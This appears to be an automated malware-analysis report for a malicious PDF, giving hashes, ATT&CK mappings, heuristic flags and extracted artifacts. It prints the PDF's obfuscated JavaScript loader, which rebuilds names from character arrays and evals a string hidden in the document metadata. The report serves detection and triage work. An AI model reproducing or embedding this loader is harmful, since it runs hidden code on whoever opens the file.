Malicious PDF — malware analysis report

Static analysis result for SHA-256 dd738bee1cf1d642…

MALICIOUS

PDF

44.6 KB First seen: 2015-10-05
MD5: cec51a6cf1d106fab6e4f12900349a9f SHA-1: b9512afa3dda7092088f6370f0c627421a104344 SHA-256: dd738bee1cf1d6425e1ae611c9eb84f81917f97a0b236d8c3ecd787e3591c06f
60 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript within an XFA form, flagged by multiple heuristics as malicious. The JavaScript code appears to be obfuscated but is designed to execute a function that likely downloads and runs a secondary payload. The presence of an embedded URL, although not definitively malicious, is suspicious in this context.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9994

Heuristics 6

  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.bitstream.com In PDF document text
    • http://ns.adobe.com/xdp/In PDF document text
    • http://www.xfa.org/schema/xci/2.6/In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.6/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x87D 1069 bytes
SHA-256: 1c90fea45cf8a8401ed892bcc253c7b7e77efa367c53b886945a106a392d3659
Detection
ClamAV: No threats found
Obfuscation or payload: likely
6 of 12 identifiers look randomly generated (e.g. 'pIOc2jpZVB') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
CYWE=this;pFoH92D6S8=['q','c','i','G','9','m','n','M','f','u','G','b','0','4','a','k','o','Z','s','I','6','8'];vpB3=pFoH92D6S8[2]+pFoH92D6S8[6]+pFoH92D6S8[8]+pFoH92D6S8[16];ru1Sq7Sd=CYWE[vpB3];RCpAgM5d1=['J','6','r','7','Y','p','N','L','z','K','d','c','f','a','F','I','v','0','s','6','t','b','2','f','U','g','y','Q','8','2','V','s','p','d','Q','9','7','7','e','e','O','y','7','w','h','S'];G9pg1Qxtz=RCpAgM5d1[5]+RCpAgM5d1[10]+RCpAgM5d1[12]+RCpAgM5d1[20]+RCpAgM5d1[26]+RCpAgM5d1[32]+RCpAgM5d1[38];aBQ2fed779=ru1Sq7Sd[G9pg1Qxtz];        dQ8841z="";UF46=['V','V','c','k','v','c','h','G','J','X','a','l','d','9','1','9','T','r','R','7','d','9','h','O','A','L','g','0','u','H','t','A','a','v','1','e','N','Q'];pIOc2jpZVB=UF46[2]+UF46[6]+UF46[10]+UF46[17]+UF46[24]+UF46[30];for (i=0;i<aBQ2fed779.length;i +=4){   dQ8841z +=aBQ2fed779.charAt(i);}Mq07Hdo7k=['H','w','L','B','u','e','L','V','B','2','j','v','k','a','o','3','1','W','h','1','P','l','R','H','1','g','p'];q2u59Mf=Mq07Hdo7k[5]+Mq07Hdo7k[11]+Mq07Hdo7k[13]+Mq07Hdo7k[21];Fqb268kCn=CYWE[q2u59Mf];Fqb268kCn(dQ8841z);
font_00_sfnt_off00001107.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x1107 65932 bytes
SHA-256: 044efaa0fcddad6a1afc97a6bd112675dff8d542f6a622fb73e7eb17d43d90f7